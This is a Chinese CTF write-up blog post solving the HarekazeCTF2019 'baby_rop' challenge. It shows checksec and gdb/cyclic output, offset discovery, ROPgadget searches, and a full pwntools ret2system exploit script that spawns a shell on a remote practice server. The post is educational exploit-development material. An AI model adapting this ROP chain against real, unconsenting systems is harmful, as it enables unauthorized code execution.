【HarekazeCTF2019】baby_rop
Thursday, December 29, 2022
本文共961字
2分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/harekazectf2019baby_rop/。商业转载请联系作者获得授权,非商业转载请注明出处!
We respect our elders. There is wisdom that comes from experience, and I am not going to stop learning from wise counsel.
— Marcia Fudge
原题链接
checksec 查看程序架构
$ checksec --file babyrop
[*] '/home/peterl/security/workspace/babyrop/babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64 位程序,不能使用 shellcode
ida 查看程序伪代码
有 scanf,有 printf,看起来可能是普通的栈溢出,我们可以调试看看
此题用不了格式化字符串漏洞,因为我们控制不了 format 字符串,只能控制后面跟的 args,而 printf 只会对 format 字符串作解析
gdb 调试
这题比较坑的是第一条输出语句是system
函数输出的,因此我们在 gdb 调试之前就要加一句set follow-fork-mode parent
,这条命令将调试追踪固定在父程序上,不让他跑去追踪子程序
我们通过 ida 找到call _printf
的地址,使用b* 0x40060F
打个断点,这时候如果直接 run 就需要输入了,所以我们先cyclic 50
一个规律字符串用以输入
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
然后直接r
然后我们看到栈情况是这样的:
00:0000│ rsi rsp 0x7fffffffd770 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
01:0008│ 0x7fffffffd778 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
02:0010│ rbp 0x7fffffffd780 ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaama'
03:0018│ 0x7fffffffd788 ◂— 'gaaahaaaiaaajaaakaaalaaama'
04:0020│ 0x7fffffffd790 ◂— 'iaaajaaakaaalaaama'
05:0028│ 0x7fffffffd798 ◂— 'kaaalaaama'
06:0030│ 0x7fffffffd7a0 ◂— 0x1ff00616d /* 'ma' */
作者此时心中一喜,连按n
继续到ret
指令,看一看此时rsp
栈顶指针指向哪里
我们发现 return 值可以被我们栈溢出掉,于是我们可以用cyclic -l gaaa
来看一看偏移量是多少:
pwndbg> cyclic -l gaaa
24
同时当前程序 plt 表中肯定有system
(前面调用过),我们只需要/bin/sh
或者sh
就能构建 exp 了!
构建 exp
在 ida 中找到system
的地址:
ROPgadget
寻找/bin/sh
:
$ ROPgadget --binary babyrop --string "/bin/sh"
Strings information
============================================================
0x0000000000601048 : /bin/sh
ROPgadget
寻找pop rdi;ret
和ret
:
$ ROPgadget --binary babyrop --only "pop|ret"
Gadgets information
============================================================
...
0x0000000000400683 : pop rdi ; ret
...
0x0000000000400479 : ret
...
那么我们的 payload 就出来了:
pop_rdi:int = 0x400683
ret: int = 0x400479
sys:int = 0x400490
bin_sh: int = 0x601048
payload = b"aaaabaaacaaadaaaeaaafaaa" + pg(ret) + pg(pop_rdi) + pg(bin_sh) + pg(sys)
完整 exp
from pwn import *
from pwn import p64, p32, u32, u64
import pwnlib
# from LibcSearcher import LibcSearcher
pss: bool = True
fn: str = "./babyrop"
libc_name: str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "28069"
if_32: bool = False
if_debug: bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, "b* 0x40060F")
else:
p = process(fn, env={"LD_PRELOAD": "/lib/x86_64-linux-gnu/libc.so.6"})
pop_rdi:int = 0x400683
ret: int = 0x400479
sys:int = 0x400490
bin_sh: int = 0x601048
p.recvuntil("What's your name? ")
payload = b"aaaabaaacaaadaaaeaaafaaa" + pg(ret) + pg(pop_rdi) + pg(bin_sh) + pg(sys)
p.sendline(payload)
# p.recvuntil("!\n")
p.interactive()
此题还有一个比较坑的点,它的 flag 并不是放在当前目录下,此题 flag 的位置在/home/babyrop
内,可以通过find -name flag
查找位置(动作快一点,有时间限制)
扫码阅读此文章
点击按钮复制分享信息
点击订阅